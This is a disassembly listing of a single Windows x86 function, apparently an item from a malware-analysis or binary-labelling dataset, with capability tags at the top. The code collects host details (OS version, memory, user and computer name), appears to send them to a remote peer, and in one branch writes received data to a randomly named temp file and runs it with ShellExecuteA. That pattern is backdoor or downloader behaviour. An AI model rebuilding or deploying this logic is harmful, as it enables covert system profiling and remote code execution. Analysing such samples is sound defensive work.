Function at 0x402790
Capabilities:
Create process on windows
Get common file path
Get hostname
Get memory capacity
Get session user name

Disassembly:
sub esp, 0x45c
push ebx
push ebp
push esi
push edi
mov ecx, 0x54
xor eax, eax
lea edi, [esp + 0x118]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x14]
mov byte [esp + 0x237], 1
rep stosd dword es:[edi], eax
lea eax, [esp + 0x215]
lea ecx, [esp + 0x14]
push eax
push ecx
mov byte [esp + 0x240], 6
call fcn.00402200
add esp, 8
lea edx, [esp + 0x118]
mov dword [esp + 0x1ac], 0xde16a52c
mov dword [esp + 0x210], 0xc9f5e76a
push edx
mov dword [esp + 0x11c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [esp + 0x1b0]
mov dword [esp + 0x1b0], 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1d0]
mov esi, 0x1f
push ecx
push edx
mov dword [esp + 0x18], esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1f0]
push eax
push ecx
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
lea edx, [esp + 0x23d]
push str.2404292204052562405350461528
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
call fcn.00402c40
mov ebx, dword [esp + 0x470]
mov byte [esp + 0x214], al
lea eax, [esp + 0x118]
push 0x151
push eax
push 0x83
push ebx
call fcn.00404740
test eax, eax
je 0x402c27
push 1
push ebx
call fcn.00404530
mov esi, eax
test esi, esi
je 0x402c27
mov al, byte [esi + 6]
cmp al, 0x88
jne 0x4028be
cmp dword [esi], 0x64
ja 0x4028ec
cmp al, 0x89
jne 0x4028cb
cmp dword [esi], 0x64
ja 0x402a48
lea ecx, [esp + 0x14]
push ecx
push esi
push ebx
call fcn.00402530
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x45c
ret
cmp byte [0x409140], 0xbb
jne 0x40290c
push 0x86
push 0x409140
push 0x409140
call fcn.00403ae0
add esp, 0xc
cmp byte [0x4091c8], 0xbb
jne 0x402929
push 0x60
push 0x4091c8
push 0x4091c8
call fcn.00403ae0
add esp, 0xc
mov al, byte [esp + 0x14]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
test al, al
je 0x4029a5
mov edx, dword [esi]
lea eax, [esi + 7]
push edx
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.00403a10
add esp, 0xc
lea edx, [esp + 0x14]
test eax, eax
push edx
je 0x40298c
mov eax, dword [esi]
push eax
push 0x409140
push 0x83
push ebx
call fcn.00404840
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea ecx, [esp + 0x14]
push ecx
push 0
push ebx
call fcn.00402530
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x45c
ret
call ebp
push eax
mov eax, dword [esi]
push eax
push 0x4091c8
push 0x83
push ebx
call fcn.00404840
add esp, 0x18
mov edi, 1
lea ecx, [esp + 0x14]
push ecx
push edi
call fcn.004022e0
add esp, 8
test eax, eax
je 0x4029d4
mov edx, dword [esi]
lea eax, [esi + 7]
push edx
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.00403a10
add esp, 0xc
test eax, eax
jne 0x4029dc
inc edi
cmp edi, 4
jl 0x4029aa
jmp 0x402a18
mov eax, dword [esi]
lea edx, [esp + 0x14]
push edx
push eax
push 0x409140
push 0x83
push ebx
call fcn.00404840
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea ecx, [esp + 0x14]
xor esi, esi
push ecx
push esi
push ebx
call fcn.00402530
add esp, 0xc
cmp edi, 4
jl 0x402c27
lea edx, [esp + 0x14]
push edx
call ebp
push eax
mov eax, dword [esi]
push eax
push 0x4091c8
push 0x83
push ebx
call fcn.00404840
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x45c
ret
lea ecx, [esp + 0x14]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [esp + 0x14]
push edx
call ebp
mov edi, eax
cmp byte [esp + edi + 0x13], 0x5c
je 0x402a74
mov byte [esp + edi + 0x14], 0x5c
inc edi
push 0x4093a8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edx, edx
mov ecx, 0x14
div ecx
add edx, 0x61
push edx
lea edx, [esp + edi + 0x20]
push str._c_x._s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [esi]
lea ecx, [esi + 7]
push eax
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.00403a10
add esp, 0x20
test eax, eax
je 0x402bdb
lea eax, [esp + 0x26c]
push 0x40939c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x26c]
push str.2404292204052562405350461528
push ecx
call edi
lea edx, [esp + 0x26c]
push 0x409060
push edx
call edi
mov eax, dword [0x4093b8]
lea ecx, [esp + 0x26c]
push eax
push ecx
call edi
lea edx, [esp + 0x26c]
push 0x409060
push edx
call edi
lea eax, [esp + 0x26c]
push 0x409398
push eax
call edi
lea ecx, [esp + 0x26c]
push ecx
call ebp
mov ebp, 0x200
lea edi, [esp + eax + 0x26c]
sub ebp, eax
push ebp
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebp
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x409060
push edi
call fcn.00403860
add esp, 8
test eax, eax
je 0x402b6a
push ebp
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 5
lea edx, [esp + 0x270]
push 0
lea eax, [esp + 0x1c]
push edx
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 4
lea ecx, [esp + 0x18]
push 0
push ecx
call fcn.00403d80
mov al, byte [0x409228]
add esp, 0xc
cmp al, 0xba
jne 0x402bb9
push 0xa0
push 0x409228
push 0x409228
call fcn.00403ae0
add esp, 0xc
mov eax, dword [esi]
lea edx, [esp + 0x14]
push edx
push eax
push 0x409228
push 0x83
push ebx
call fcn.00404840
add esp, 0x14
call fcn.00402500
jmp 0x402c16
cmp byte [0x4092c8], 0xba
jne 0x402bfb
push 0x9c
push 0x4092c8
push 0x4092c8
call fcn.00403ae0
add esp, 0xc
mov edx, dword [esi]
lea ecx, [esp + 0x14]
push ecx
push edx
push 0x4092c8
push 0x83
push ebx
call fcn.00404840
add esp, 0x14
push esi
mov dword [0x40ba1c], 1
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x45c
ret